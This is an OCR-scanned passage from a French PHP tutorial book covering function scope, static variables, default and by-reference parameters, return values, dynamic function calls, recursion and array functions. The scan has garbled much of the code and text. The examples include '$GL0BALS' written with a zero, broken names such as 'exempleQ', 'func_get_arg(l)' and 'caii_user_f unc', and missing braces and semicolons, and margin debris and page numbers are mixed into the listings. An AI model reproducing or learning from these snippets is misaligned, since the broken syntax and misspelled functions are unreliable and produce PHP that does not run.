echo $annee; // affiche 2003 



Comme vous le constatez, les modifications apportees a ces variables globales au sein de la 
fonction se repercutent en dehors de la fonction. 

II existe une autre facon de faire pour utiliser les variables globales depuis une fonction. Cette 
methode consiste a utiliser directement le tableau predefini $globals. L'exemple precedent 
donnerait alors : 

<?php 

$annee = "2002"; 

$prenom = "Victor"; 

$nom = "Hugo"; 

function bicentenaire() 
{ 

echo $GL0BALS["annee"] . " c'etait le bicentenaire de la naissance de ". 
$GL0BALS["prenom"]." " .$GL0BALS["$nom"] . " !"; 

$GL0BALS["annee"] = "2003"; 



bi centenai re ( "bi centenai re") ; 
// affiche "2002 c'etait le bicentenaire de la naissance de Victor Hugo!" 

echo $annee; // affiche 2003 
?> 




REMARQUE 



Variables d'environnement 

Les variables externes $_server, $_env, $_get, $_post, $_session, $_cookie, 
$_files, etc. sont, quant a elles, accessibles depuis n 'importe oil. II n 'est done pas 
necessaire, dans leurcas, de preciser global pour les utiliser dans une fonction. 
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La portee d'une variable depend done de l'endroit ou elle est initialisee. La portee d'une 
variable ne sera pas la meme si elle est definie dans une fonction ou au debut de votre 
programme. 

On peut considerer trois niveaux de definition. 

Tableau 3.12 : Les differents niveaux de definition des variables 

Niveau Description 

Local Les variables sont propres a chaque fonction. Des la fin de I'execution de cette 

fonction, la variable est detruite et I'espace memoire qui contenait la valeur est 
liberee. 

Global Les variables globales sont definies pour la totalite du temps d'execution du code 

de la page. 



Static Les variables statiques sont propres a chaque fonction, mais elles ne sont pas 

detruites a la fin de I'execution de cette fonction. Si la fonction est rappelee 
plusieurs fois, la valeur de la variable est conservee et modifiee a chaque fois. 



II nous reste done a aborder le cas des variables statiques. Ces variables sont initialisers au 
premier appel de la fonction et ne sont pas reinitialisees les fois suivantes. Pour creer une 
variable statique, il faut utiliser le mot-cle static suivi du nom de la variable. 



Exemple d'utilisation : 

<? 

function maFonction () { 
static $variable = "Emma "; 

$variable . =" C'est toi?" 
echo $variable."<br>"; 



maFonction() ; 
maFonction() ; 
maFonction(); 
?> 

Cela affichera en effet : 

Emma C'est toi? 

Emma C'est toi? C'est toi? 

Emma C'est toi? C'est toi? C'est toi? 



Initialisation d'une variable statique 

II n' est pas possible a" initialiser une variable statique avec le resultat d'une fonction. 
On peut toutefois contourner ce probleme en affectant a cette variable une valeur 
qu 'elle est supposee ne jamais atteindre, et appeler la fonction si jamais la variable 
prend cette valeur. 



REMARQUE 
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<?php 

function maFonction() 

{ 

static $date = -1; 

if ($date == -1) $date = time(); 



Le passage des parametres 

Vous serez souvent amene a reclamer des parametres pour vos fonctions. Pour cela, il suffit de 
completer la ligne de declaration de la fonction par une liste de noms de variables. Les variables 
ainsi definies ne sont accessibles qu'a l'interieur de la fonction ; ce sont done des variables de 
visibilite locale. 

<?php 

function bicentenaire($quoi) 

{ 

echo "2002 e'etait le $quoi de Victor Hugo !"; 

} 

bicentenaire("bicentenaire de la naissance "); 

// Affiche "2002 e'etait le bicentenaire de la naissance de Victor Hugo !" 

echo $quoi ; // n'affiche rien, la variable n'est pas definie. 

?> 




Les parametres par defaut 



Vous pouvez donner a votre fonction des parametres par defaut. Ainsi, si vous ne rentrez 
aucune valeur lors de l'appel de cette fonction dans votre code, une valeur par defaut est 
utilisee afin d'executer la fonction. 

Pour placer une valeur par defaut, vous devez simplement specifier cette valeur a l'aide du signe 
"=" lors de la declaration de la fonction. Comme ceci : 

<?php 

function exemple($parDefaut="bonjour") 

{ 

return $parDefaut; 



Cette fonction peut done recevoir ou non une valeur comme parametre. Si ce n'est pas le cas, 
alors celle-ci prend, par defaut, la valeur "bonjour" . II y a done deux facons d'appeler cette 
fonction dans le programme principal. 



<?php 

function exemple($pardefaut=" bonjour" 

{ 

return $pardefaut; 
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// soit en plagant une valeur en parametre 

echo exemple("bye bye"); // affiche "bye bye" 

// soit en laissant vide 

echo exempleQ; // affiche "bonjour" 

?> 

Le fait que les fonctions necessitent a priori un nombre fixe d'arguments vous posera peut-etre 
un jour un probleme. Mais il y a deux facpns d'y faire face: 

En utilisant un tableau, si votre fonction n'accepte qu'un seul argument mais que celui-ci 
est de type tableau, vous pouvez y mettre autant d'arguments que vous voulez. 

En utilisant les fonctions mises a disposition par PHP (ce qui en fait s'apparente a utiliser 
un tableau cree par PHP). 

Ainsi, alors que f unc_num_args ( ) renvoie le nombre d'elements passes en parametre d'une 
fonction, f unc_get_arg ( ) et f unc_get_args ( ) permettent de recuperer un argument ou un 
tableau d'arguments. 



func_num_args() 

Retourne le nombre d'arguments passes a une fonction. 

Syntaxe int func_num_args(void) 

retour Retourne un nombre correspondant aux nombres d'elements passes 

comme arguments de la fonction. 

<?php 

function elementsVariables() 

{ 

return func_num_args() ; 

} 

echo elementsVariables() ; // Affiche 0; 

echo elementsVariables(l, 2, 3); // Affiche 3; 

echo elementsVariables("toto", 5, TRUE); // Affiche 3; 

?> 



func_get_arg() 

Retourne la valeur d'un des elements passes en argument de la fonction. 

Syntaxe mixed func_get_arg(int $numArg) 

$numArg Position de l'element a consulter. 

retour La valeur de l'argument. 
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func_get_args() 

Retourne un tableau contenant tous les elements passes en argument a la fonction. 

Syntaxe array func_get_args(void) 

retour Tableau indexe contenant la liste des arguments de la fonction. 

Void un exemple de l'utilisation qui peut etre faite des trois fonctions precedemment decrites : 

<?php 

function elementsVariables() 

{ 

// Compte le nombre a" elements 

$nombreElements = func_num_args() ; 

// Recupere tous les elements dans un tableau 

$tableauElements = func_get_args() ; 

for ($i=0; $i<$nombreElements; $i++) 

{ 

// Affiche tous les arguments de la fonction 

echo "element $i : M .$tableauElements[$i] ."<br />"; 



// Recupere 1 'element designe par le deuxieme argument 
echo "1 'argument n°".func_get_arg(l) . 
" = ".func_get_arg(func_get_arg(l)) . "<br />"; 
} 

elementsVariables(10, 0, 3); 

echo "<br />"; 

elementsVariables("toto", 3, TRUE, "PHP"); 
?> 

L'execution de ce programme renvoie done ici : 

element : 10 
element 1 : 
element 2 : 3 
1 'argument n°0 = 10 

element : toto 
element 1 : 3 
element 2 : 1 
element 3 : PHP 
1 'argument n°3 = PHP 
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Le passage de parametres par reference 



Lorsque Ton passe une variable en parametre a une fonction, la variable transmise n'a qu'une 
portee locale, et la variable manipulee au sein de la fonction n'est en fait qu'une copie de la 
variable transmise par le programme appelant. Ainsi, l'execution de la fonction n'entraine 
aucune modification sur la variable transmise. 

Lorsque Ton souhaite que la fonction modifie la valeur de la variable passee en parametre, 
celle-ci doit etre passee non pas par valeur mais par reference. Lorsqu'une variable est passee 
en reference, la nouvelle variable locale ainsi creee pointe sur la meme zone memoire, mais 
avec un autre nom que le parametre. Ainsi, on a un alias de la variable qui se cree dans la 
fonction, et toutes les modifications qui lui seront apportees seront repercutees sur l'original. 

Ce n'est toutefois pas l'appelant qui decide si la variable doit etre passee par valeur ou par 
reference, mais la fonction. Ainsi, pour utiliser une reference, il suffit simplement de signaler le 
parametre de la fonction avec un "&" devant le nom de la variable. 



<? 
$phrase 



"Ceci est temporal re"; 



function citation(&$reference, $nom, $prenom) 



} 



$reference = $nom." ".$prenom. 

" a ecn't : Les ecrivains ont mis la langue en liberte." 



citation($phrase, "Victor", "Hugo"); 

echo $phrase; 

// affiche "Victor Hugo a ecrit : Les ecrivains ont mis la langue en liberte." 

?> 

Dans l'exemple precedent, nous pouvons constater que les modifications apportees a la 
variable locale {reference se repercutent sur la variable globale Jphrase. 



A 



ATTENTION 



Utilisation des parametres de type objet 

Comme nous le verrons dans le chapitre sur la programmation orientee objet, 
contrairement au comportement d'autres langages de programmation, dans les 
versions de PHP inferieure a la version 5 (incluant le moteur Zend2), les objets ne 
sontpas automatiquement passes par reference. Pour ne pas travailler sur une copie 
de I'objet il est done, la aussi, necessaire d'utiliser le "et commercial" '&'. 



REMARQUE 



PHP 5 

Avec PHP 5, il est desormais possible de specifier une valeur par defaut la oil Von 
attend un argument passe par reference. 

function maFonction(&$param = "valeurParDefaut") 

Alors que, vous Vaurez devine, ce n'etait pas possible auparavant. 
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Retourner une valeur 

Vous serez sans doute amene a vouloir recuperer le contenu d'une variable a la suite du 
traitement d'une fonction. Pour effectuer le renvoi d'une variable et ainsi terminer l'execution 
de la fonction, le langage PHP utilise le mot-cle return. Lorsque cette instruction est 
rencontree, la fonction evalue la valeur de la variable qui suit et la renvoie dans le programme 
principal. 

Exemple d'utilisation : 

return $valRetour; 

return 0; 

return "Laurent"; 

Ce qui donne dans le cas d'une utilisation : 

<?php 

function fonctionRetour() 

{ 

return "guitare"; 
} 

echo fonctionRetour() ; // affiche "guitare" 
?> 

S'il est possible de placer plusieurs instructions return a l'interieur d'une fonction, le premier 
return execute met un terme a l'execution de la fonction. 

<?php 

function associationNom($varATester) 

{ 

if ($varATester=="Laurent") { 

return "GUEDON"; 
} elseif ($varATester =="Damien" || $varATester == "Thomas") { 

return "HEUTE"; 
} elseif ($varATester =="Pierre-Emmanuel ") { 

return "MULLER"; 
} else { 

return "Qui ???"; 



{> 

L'instruction return ne permet de renvoyer qu'une seule valeur. Si vous souhaitez retourner 
plusieurs valeurs, deux possibilites s'offrent a vous : 

Retourner un tableau de valeurs ou un objet avec plusieurs attributs. 

Utiliser plusieurs parametres passes par reference (qui serviront done plus de valeur retour 
que de valeur d'entree) ; eventuellement, la fonction pourra egalement retourner une 
valeur via return. 

II n'est pas vraiment possible de dire a priori quelle est la bonne methode. C'est un peu au cas 
par cas. La premiere oblige ensuite a analyser le contenu d'un tableau (et l'utilisation d'un objet 
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ne se justifie pas toujours). La seconde methode n'est pas totalement satisfaisante, puisque Ton 
melange parametres d'entree et parametres de sortie ; a contrario, elle permet de reserver la 
valeur retour pour un booleen indiquant si l'operation s'est bien passee ou non. 

Voici un exemple utilisant un tableau montrant comment sortir de ce probleme, que vous 
rencontrerez sans doute dans votre carriere de developpeur. 

<?php 

function discotheque($choix) 

{ 

switch ($choix) { 
case 1 : 

$artiste = "Placebo"; 
j^ $titre = "Where is my mind"; 

q- break; 

case 2 : 

$artiste = "Emi liana Torrini"; 
$titre = "To be free"; 
cd defaut : 

$artiste = "Radiohead"; 
$titre = "Creep"; 

} 

return array ($artiste, $titre); 

} 

$disque = discotheque(3) ; 

echo "Artiste ".$disque[0] ."\n"; 
echo "Titre ".$disque[l] ."\n"; 
?> 

Ici, la fonction retourne un tableau de valeurs. II est done ensuite possible de traiter le tableau 
et de sortir les differentes donnees, comme si la fonction nous avait renvoye plusieurs variables. 
Le resultat du petit programme ci-dessus nous donne done : 

Artiste Radiohead 
Titre Creep 
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Manipuler des fonctions 



Une serie de commandes permet de creer a la volee, de tester l'existence des fonctions et de les 
manipuler. L'une d'elle permet de creer des fonctions dites anonymes. 



create_function() 

Permet de creer une fonction anonyme a partir de parametres. 
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Syntaxe string create_functi on (string $arguments .string $code ) 

$arguments Liste des parametres de la fonction separes par une virgule. 

$code Le code de la fonction. 

retour Nom attribue a la fonction (en s'assurant de son unicite). 

<?php 

$fonction = create_function('$a,$b' , 'return $a + $b;'); 

echo "Nom de la nouvelle fonction : $fonction<br />"; 

echo "10 + 5 = ".$fonction(10, 5); 

// "Nom de la nouvelle fonction : lambda_l" 

// "10 + 5 = 15" 

?> 

retourne 

Nom de la nouvelle fonction: lambdal 

10 + 5 = 15 

Notez que vous pouvez utiliser des guillemets (a la place des apostrophes) dans la definition des 
arguments et du code de la fonction, a condition de ne pas oublier d'echapper le caractere $ 
precedant les noms de variables comme ceci : 

$fonction = create_function("\$a,\$b", "return \$a + \$b;"); 

11 est egalement possible de verifier si une fonction existe ou non. Ceci permet notamment de 
verifier si 1'environnement (version de PHP, options de configuration) dans lequel tourne le 
script permet la realisation de l'operation prevue. Ceci peut egalement permettre de creer une 
fonction emulant une fonction existant dans les dernieres versions de PHP, uniquement si 
celle-ci n'est pas disponible dans la version utilisee (afin que le script puisse fonctionner sur 
d'anciennes versions). 



function_exists() 

Permet de verifier si une fonction existe bien. 

Syntaxe boolean function_exists (function $nomFonction) 

$nomFonction Nom de la fonction a verifier. 

retour Retourne TRUE si la fonction a ete trouvee, FALSE sinon. 

<?php 

if (function_exists("uneFonctionDontJAiBesoin")) { 

echo "Chouette je peux utiliser la fonction<br />"; 

uneFonctionDontJAiBesoin() ; 
} else { 

echo "La fonction n 1 existe pas tant pis pour vous<br />"; 
} 
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if (function_exists("function_exists")) { 

echo "Par contre la fonction function_exists() existe<br />"; 
} else { 

echo "Curieux<br />"; 
} 

retournera 

La fonction n'existe pas tant pis pour vous 
Par contre la fonction function_exists() existe 

On peut aussi simplement lister toutes les fonctions definies a l'aide de la fonction 

get_def ined_functions ( ) . 



get_defined_functions () 



Liste toutes les fonctions definies. 



Syntaxe 

retour 



array get_def i ned_f uncti ons (voi d) 
Tableau associatif contenant les cles. 

"internal" ayant pour valeur un tableau indexe contenant les noms des 
fonctions PHP "natives". 

"user" ayant pour valeur un tableau indexe contenant les noms des 
fonctions definies par l'utilisateur. 



<?php 

function fonctionl($a, $b) 

return ($a + $b); 

function fonction2($a) 
return $a; 

function fonction3($a, $b) 
return ($a + $b); 

function fonction4($a, $b, $c) 
return ($a + $b + $c) ; 

function fonction5($a, $b, $c, $d) 
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return ($a + $b + $c + $d) ; 
} 

$tableauFonction = get_defined_functions() ; 

print_r($tableauFonction) ; 

?> 

Cela affiche toutes les fonctions sous la forme d'un tableau de tableaux. 



Array 
( 



[internal] => Array 

( 

[0] => zend_version 

[1] => func_num_args 

[2] => func get arg 



[1161] => apache_note 
[1162] => apache_lookup_uri 
[1163] => apache_child_terminate 



) 
[user] => Array 

( 




) 



[0] => fonctionl 

[1] => fonction2 

[2] => fonction3 

[3] => fonction4 

[4] => fonction5 



) 

Listons simplement les fonctions utilisateurs. 

<?php 

whil e(l i st ($key, $val)=each($tableauFonction["user"]] 

{ 

echo "$key => $val<br />"; 



Le resultat cette fois est simplement : 

=> fonctionl 

1 => fonction2 

2 => fonction3 

3 => fonction4 

4 => fonction5 

Les fonctions utilisateurs peuvent aussi etre appelees a l'aide des commandes 
caii_user_f unc_array ( ) ou cali_user_f unc ( ) . Ces commandes sont tres utiles lorsqu'un 
programme doit faire appel a differentes fonctions dynamiquement. 
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call_user_func() 

Appelle une fonction utilisateur en lui transmettant des parametres. 

Syntaxe mixed cal l_user_func(string $nomFonction [, mixed $parametre 

[, mixed ...]]) 

$nomFonction Nom de la fonction a appeler. 

$parametre Liste des parametres (a transmettre dans le meme ordre que sa 

declaration). 

retour Renvoie le code retour de la fonction appelee. 



call_user_func_array() 



Appelle une fonction utilisateur en lui transmettant des parametres rassembles sous la forme 
d'un tableau. 

Syntaxe mixed cal l_user_func_array (string $nomFonction [, array 

$parametre] ) 

$nomFonction Nom de la fonction a appeler. 

$parametre Liste des parametres (a transmettre sous la forme d'un tableau). 

retour Renvoie le code retour de la fonction appelee. 

<?php 

function nombreCaractere($phrase) { 

return strlen ($phrase); 
} 

echo "phrase 1 = ".call_user_func('nombreCaractere' , 

1 Ich bin ein Berliner! - JF Kennedy (1963) '). " caracteres<br />"; 

echo "phrase 2 = ".call_user_func('nombreCaractere' , 

'13 Janvier 1898, Zola publia J'accuse')." caracteres<br />"; 

?> 



Le resultat de ce programme affiche ici : 



phrase 1 
phrase 2 



40 caracteres 
38 caracteres 



<?php 

function fonctionl($a, $b) 

function fonction2($a, $b) 

function fonction3($a, $b) 

function fonction4($a, $b) 

$tableau = array(10,5); 



return $a+$b 

return $a-$b 

return $a*$b 

return $a/$b 
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for ($i=l;$i<=4;$i++) 
{ 

echo "$i => " .call_user_func_array('fonction' .$i , $tableau) ."<br />"; 

} 
?> 

1 => 15 

2 => 5 

3 => 50 

4 => 2 



La recursivite des fonctions 

Une fonction est dite recursive si elle s'appelle elle-meme. Cette utilisation particuliere des 
fonctions est rare (ce qui, entre nous, n'est pas forcement un defaut, car elle est tres gourmande 
en memoire.). Et pourtant, si elle n'est pas indispensable, elle peut-etre tres pratique lorsqu'il 
faut traiter certains problemes comme le parcours d'une arborescence. 

Un exemple de fonction recursive est celui de la fonction donnant le fact oriel d'un nombre. 

<?php 

function factoriel le($nombre) 

{ 

if ($nombre==0) 
{ 

return "1" . "<br />"; 
}else{ 

return $nombre*factoriel le($nombre-l) ."<br />"; 




echo factoriel le (3); 


// 3! 


= 1x2x3 = 


= 6 


echo factorielle (3); 


// 3! 


= 1x2x3 = 


= 6 


?> 









JPk Juste un exemple. ..dece qu 'il ne faut pas f aire 

^^^ Si cette methode est la plus simple pour montrer ce qu 'est une fonction factorielle, 
ATTENTION c est oussi la plus mauvaise methode pour implementer factoriel. 

De plus, les fonctions recursives sont tres delicates a manipuler. II est tres important 
de verifier que votre fonction se termine bien a un moment donne pour eviter des 
problemes de boucles infinies. 

Un des exemples de fonctions recursives les plus repandus est la resolution du probleme de la 
tour de Hanoi. La tour de Hanoi se presente comme un casse-tete. Plusieurs disques sont 
empiles sur une tige, du plus large au plus petit. Deux autres tiges se trouvent a cote et le but est 
de deplacer les disques pour les superposer sur la tige centrale dans le meme ordre, c'est-a-dire 
du plus grand au plus petit. 
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Figure 3.9 : 

La tour de Hanoi 
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<html> 

<body> 

<?php 

function deplaceDisque($disque, $tigel, $tige2) 

{ 

echo "Deplacer le disque ".$disque." sur la tige ".$tige2."<br />" 



function hanoi ($disque, $tigel, $tige2) 

{ 

if ($disque == 1) // si le disque a deplacer est le premier 

{ 

// on ne fait qu'un displacement 

deplaceDisque (1, $tigel, $tige2); 
}else{ 

// sinon il faut deplacer $disque-l 

// sur la tige differente de $tigel et $tige2 

hanoi ($disque-l, $tigel, 3-$tigel-$tige2) ; 

deplaceDisque ($disque, $tigel, $tige2); 

// et on redeplace les ($disque-l) disques sur le disque deplace 

hanoi ($disque-l, 3-$tigel-$tige2, $tige2); 



} 



hanoi (4, 0, 1); // 4 disques utilises 

?> 

</body> 

</html> 



3.8. Les tableaux 



En PHP, il est possible de distinguer trois types de tableaux. 

Les tableaux indexes ou chaque element du tableau porte un numero (ce qui correspond a 
la representation habituelle d'un tableau dans les autres langages de programmation). Par 
defaut, la numerotation commence avec l'indice 0. 

Les tableaux associatifs ou chaque element du tableau est associe a une cle representee par 
une chaine de caracteres (ce qui correspond a peu de choses pres a une table de hash dans 
les autres langages de programmation). 
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Les tableaux mixtes ou chaque element du tableau est associe aussi bien a un indice qu'a 
une cle. 

Cette distinction entre les tableaux est surtout "conceptuelle". En effet, leur mode de 
fonctionnement est totalement identique. 



Index et ordre dans le tableau 

Les index doivent etre percus simplement comme des cles de type entier. La valeur 
d'un index ne prejuge pas de la position d'un element dans le tableau. Un element 
peut avoir un index egal a et se trouver en fin de tableau. 
Un tableau est juste un ensemble (ordonne) de couple (cle, valeur). 



Les valeurs d'un tableau 

Les valeurs contenues dans un tableau peuvent etre de tout type connu. Ainsi, un tableau peut 
stocker des entiers, des reels, des chaines de caracteres, des tableaux, des objets, etc. 

De plus, les types des valeurs contenues dans un tableau peuvent varier d'un indice (ou d'une 
cle) a l'autre. Le second element d'un tableau pourra contenir une chaine de caracteres, meme 
si le premier element contient un objet. 



Initialisation d'un tableau 

La syntaxe de base de l'initialisation d'un tableau est la suivante : 

$monTableau = array(); 

Mais, a part pour forcer le type d'une variable au type tableau, il est bien rare que nous 
utilisions cette forme epuree. 

L'initialisation du tableau se fait generalement en meme temps que son remplissage. 

Ainsi, dans le cas "classique" d'un tableau indexe, on pourra par exemple preciser les valeurs 
associees aux trois premiers index par : 

$monTableau = array(23, "PHP", 12.4); 

Ce qui donnera alors : 

SmonTableaufO] = 23; 
$monTableau[l] = "PHP"; 
$monTableau[2] = "12.4"; 

Dans le cas d'un tableau associatif, il faudra preciser la cle et la valeur selon le schema suivant : 
$tableauAge = array ("Pierre" => 22, "Thierry" => 29, "Jean" => 34); 
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Pour obtenir : 

$tableauAge[" Pierre"] = 22; 
$tableauAge ["Thierry"] = 29; 
$tableauAge["Jean"] = 34; 

Et pour un tableau mixte il est possible de preciser : 

SmonTableau = array("Thierry", 29, "Prenom" => "Thierry", "Age" => 29); 

Ce qui donnerait : 

$monTabl eau [0] = "Thierry"; 
Q- SmonTabl eau [1] = 29; 

IE SmonTabl eau ["Prenom"] = "Thierry"; 

g, SmonTabl eau ["Age"] = 29; 

CO 
Bl 

£= 

a /£\ Cas d'utilisation des tableaux mixtes 

Les tableaux mixtes sont utilises en particulier pour la lecture des enregistrements 
d'une base de donnees. Ainsi, Vutilisateur peut faire appel a la valeur d'un champ soit 
a partir de son index soit a partir du nom du champ. 



REMARQUE 



Les subtilites (('initialisation d'un tableau 

Meme dans le cas d'un tableau indexe, il est possible de preciser pour quel indice vous etes en 
train de definir la valeur (a la maniere des tableaux associatifs). 

SmonTabl eau = array (1 => "Valeurl", 3 => "Valeur3"); 

donnera les valeurs suivantes : 

SmonTabl eau [1] = "Valeurl"; 
SmonTabl eau [3] = "Valeur3"; 

$monTableau [ ] et $monTableau [ 2 ] , quant a eux, n'auront pas de valeur affectee. 

/£) Ordre d'affectation 

"**^ // n'est pas necessaire de preciser les valeurs dans I'ordre des indices. Ainsi 

REMARQJE 

SmonTableau = array(3 => "Valeur3", 1 => "Valeurl"); 

est tout a fait valide. 

La encore, il est possible, lors de l'initialisation d'un tableau, de melanger cette notation avec 
celle d'un tableau associatif, et meme avec la notation "traditionnelle" d'un tableau indexe. 
Dans ce dernier cas, les valeurs pour lesquelles on ne precise pas les index auront 
necessairement pour index le dernier index affecte + 1 (ou par defaut 0). 

SmonTabl eau = array("ValeurO", 2 => "Valeur2", "Valeur3"); 
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donnera : 

$monTableau[0] = "ValeurO"; 

$monTableau[2] = "Valeur2"; 

$monTableau[3] = "Valeur3"; 



1 . Commencer un tableau a I'indice 1 

K& Cette propriete est bien pratique pour commencer un tableau avec I'indice 1. 

ASTUCE 

$monTableau(l => "Valeurl", "Valeur2", "Valeur3"); 

Dans le cas d'un tableau indexe ou associatif, si, dans la chaine d'initialisation, plusieurs valeurs 
sont affectees a un meme indice ou a une meme cle, la valeur conservee sera toujours la 
derniere rencontree. 

Ainsi, 

$monTableau = array("Valeur qui va se faire ecraser", 
=> "Oups... j'ecrase"); 

donnera : 
$monTableau[0] = "Oups. 




Remplissage d'un tableau 



D'une maniere tout a fait classique, le remplissage (ou l'affectation des valeurs) d'un tableau se 
fait par un appel du type : 

$monTableau[0] = "Valeur"; 

ou 

$monTableau["cle"] = "Valeur"; 

Mais une des particularites du langage PHP est que la taille des tableaux n'est pas fixe. Elle peut 
done etre augmentee au fil des besoins. Ainsi, pour un tableau indexe qui a ete initialise avec 
trois elements, il est possible d'affecter une valeur a l'element d'indice 10, comme le montre 
l'exemple suivant : 

<?php 

$monTableau = array("valeurl, "valeur2", "valeur3"); 

$monTableau[10] = "valeurlO", 

?> 

De meme, pour un tableau associatif, il est toujours possible d'ajouter un element avec une 
nouvelle cle. 

Cela est particulierement utile pour composer une liste d'elements. De plus, pour simplifier la 
tache, le langage PHP nous permet de ne pas preciser d'indice ou de cle lors d'une affectation, 
ceci afin d'utiliser pour indice le dernier indice affecte + 1. 
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$monTableau[] = "Valeur d'indice 0"; 
$monTableau[] = "Valeur d'indice 1"; 

sera alors equivalent a : 

$monTableau[0] = "Valeur d'indice 0"; 
$monTableau[l] = "Valeur d'indice 1"; 



Les fonctions de manipulation des tableaux 

II existe de nombreuses fonctions liees au traitement des tableaux. Certaines sont destinees au 
parcours du tableau, d'autres a la fusion de tableaux, d'autres encore au tri des valeurs ou des 
cles, etc. 

Vous decouvrirez egalement dans le chapitre dedie a la programmation orientee objet "Les 
classes, les objets" qu'il existe egalement des objets permettant la manipulation de tableaux. 

Fonctions de base 

is_array() 

Indique si une variable est de type tableau. 

Syntaxe boolean is_array (mixed $variable) 

$ v a r i a b 1 e Variable a tester. 

retour TRUE si la variable est de type tableau, FALSE sinon. 



count 

Retourne le nombre d'elements contenus dans un tableau. 

Syntaxe int count (array $tableau) 

$tabl eau Le tableau dont on veut compter le nombre d'elements. 

retour Le nombre d'elements du tableau. Si toutefois le parametre fourni ne 

correspond pas a un tableau mais a une variable existante, alors la valeur 
retournee est 1. S'il s'agit d'une variable qui n'existe pas, la fonction 
retourne 0. 

S'il s'agit d'un tableau indexe avec des valeurs pour chaque index a partir de 0, alors on pourra 
afficher son contenu grace au code suivant : 

<?php 

$monTableau = array ("PHP", "C'est", "vraiment", "sympa"); 

for ($i=0; $i<count($monTableau) ; $i++) echo $monTableau[$i] . "<br />"; 
?> 
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' La fonction print _r() 

K& La fonction prin t_r ( ) est egalement une instruction fort pratique pour visualiser le 

, .* E contenu d'un tableau (principalement a litre de debogage). 



sizeof() 

Est l'equivalent de count ( ) (meme syntaxe, meme comportement). 



array_values() 



Retourne un tableau indexe contenant les valeurs des elements d'un tableau donne (ce qui peut 
permettre de reindexer un tableau ou de convertir un tableau associatif en tableau indexe). 

Syntaxe array array_values (array $tableau) 

$tableau Tableau de reference. 

retour Tableau indexe des valeurs trouvees dans $tableau. 

Voir aussi array_keys ( ) , qui peut etre utilise pour faire des recherches dans un tableau. 




array_unique() 



Retourne un tableau dans lequel aucune valeur n'apparait plusieurs fois (associees a 
differentes cles). 

Syntaxe array array_unique(array $tableau) 

$tableau Tableau de reference. 

retour Tableau dans lequel chaque valeur n'apparait qu'une seule fois. C'est 

toujours la derniere cle associee a une valeur donnee qui est conservee. 



array_flip() 



Intervertit les roles des cles (ou index) et des valeurs d'un tableau. Cette fonction n'est 
applicable que si les valeurs peuvent devenir des cles ou, autrement dit, si les valeurs sont des 
chaines de caracteres ou des entiers. 



179 



CD 



CO 



_eo 

CD 



Chapitre 3 Le langage PHP 



Si le tableau possede plusieurs valeurs identiques, seule la derniere paire (cle, valeur) sera 
consideree. 

Syntaxe array array_fl ip (array $tableau) 

$tabl eau Tableau pour lequel cles et valeurs doivent etre permutees. 

retour Tableau pour lequel les cles et les valeurs ont ete permutees, ou FALSE en 

cas d'echec. 



array_rand() 



Retourne un index (ou une cle) ou un tableau d'index (ou de cles) distincts pris 
pseudo-aleatoirement dans un tableau. 

Syntaxe mixed array_rand (array $tabl eau, [int $nbCles] ) 

$tabl eau Tableau sur lequel s'effectue la recherche. 

$nbCl es Nombre de cles ou index a retourner (par defaut le nombre de cles est fixe 

al). 

retour Un index (ou une cle) ou un tableau d'index (ou de cles) distincts pris 

pseudo-aleatoirement dans le tableau. 



Pseudo-aleatoire 

Comme pour toutes lesfonctions pseudo-aleatoires, il estfortement conseille defaire 
auprealable un appela lafonction srandf) pour "taper" unpeu n'importe oil dans 
la pile des nombres pseudo-aleatoires. 



Vous pouvez vous reporter au chapitre "Les fonctions mathematiques" pour plus de 
details sur les nombres pseudo-aleatoires et lafonction srand( ). 



REMARQUE 



>>■ 



RENVOI 

Fonctions de recherche dans les tableaux 



array_keys() 



Retourne un tableau indexe contenant les cles et index utilises dans un tableau donne ou, 
eventuellement, les cles et index associes a une valeur donnee. 

Syntaxe array array_keys (array $tableau [, mixed $valeur]) 

$tableau Tableau de reference. 
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$ v a 1 e u r Argument optionnel precisant a quelle valeur doivent etre associes les cles 

et index retournes. Par defaut, ce sont tous les index et cles du tableau qui 
sont retournes. 

retour Tableau des cles et index trouves ou un tableau vide si la valeur n'est pas 

trouvee. 

Listing 3.11 : array_array_keys.php 

<?php 

$sportifs = array("Z. Zidane" => "Foot", "C. Moreau" => "Cyclisme", 

"T. Henry" => "Foot", "M. Indurain" => "Cyclisme", 

"J. Durand" => "Cyclisme", "T. Marie" => "Cyclisme"); 

$cyclistes = array_keys($sportifs, "Cyclisme"); 

echo "Voici une liste de cyclistes <br />"; 
for ($i=0; $i<count($cyclistes) ; $i++) { 
echo $cyclistes[$i] ."<br />"; 



retournera bien les noms associes au cyclisme. 

Voici une liste de cyclistes 
C. Moreau 
M. Indurain 
J. Durand 
T. Marie 



array_search() 

Retourne la premiere cle (ou index) du tableau, associee a une valeur donnee. 

Syntaxe mixed array_search (mixed $valeur, array $tableau [.boolean 

$strict]) 

$valeur Valeur recherchee. 

$tabl eau Tableau sur lequel se porte la recherche. 

$stri ct Argument optionnel a positionner a TRUE si Ton veut que la comparaison 

tienne egalement compte du type de la valeur cherchee. FALSE, par 
defaut. 

retour Cle (ou index) trouvee, FALSE sinon. 
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array_key_exists() 

Indique si un tableau contient ou non une cle donnee. 

Syntaxe boolean array_key_exists (mixed $cle, array $tableau) 

$cle Cle recherchee. 

$tabl eau Tableau sur lequel se porte la recherche. 

retour TRUE si l'index existe, FALSE sinon. 



in_array() 

Indique si un tableau contient ou non une valeur donnee. 

Syntaxe boolean in_array (mixed $valeur, array $tableau [, boolean 

$strict]) 

$val eur Valeur recherchee. 

$tabl eau Tableau sur lequel se porte la recherche. 

$ s t r i c t Argument optionnel a positionner a TRUE si Ton veut que la comparaison 

tienne egalement compte du type de la valeur cherchee. FALSE, par 
defaut. 

retour TRUE si la valeur a ete trouvee dans $tableau. FALSE sinon. 

Fonctions de manipulation de portions de tableau 



range () 



Retourne un tableau compose des entiers compris entre une valeur de debut et une valeur de fin. 

Syntaxe array range(int $debut, int $fin) 

$debut Premier entier du tableau. 

$f i n Dernier entier du tableau (doit necessairement etre superieur ou egal a 

$debut). 

retour Tableau compose des entiers compris entre la valeur de debut (incluse) et 

la valeur de fin (inclus) ou bien un tableau vide en cas d'echec. 
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array_fill() 

Retourne un tableau indexe construit a partir de la repetition d'une valeur. 

Syntaxe array array_fill (int $indexDebut, int $nombre, mixed $valeur) 

$i ndexDebut Premier index du tableau. 

$ n omb r e Nombre d'elements dans le tableau. 

$val eur Valeur a donner a chaque element du tableau. 

retour Tableau indexe de $indexDebut a $indexDebut+$nombre-l ne 

contenant que la valeur $valeur. 



array_pad() 



Retourne un tableau complete (a droite ou a gauche) avec une valeur donnee pour atteindre un 
nombre total d'elements specifies. 

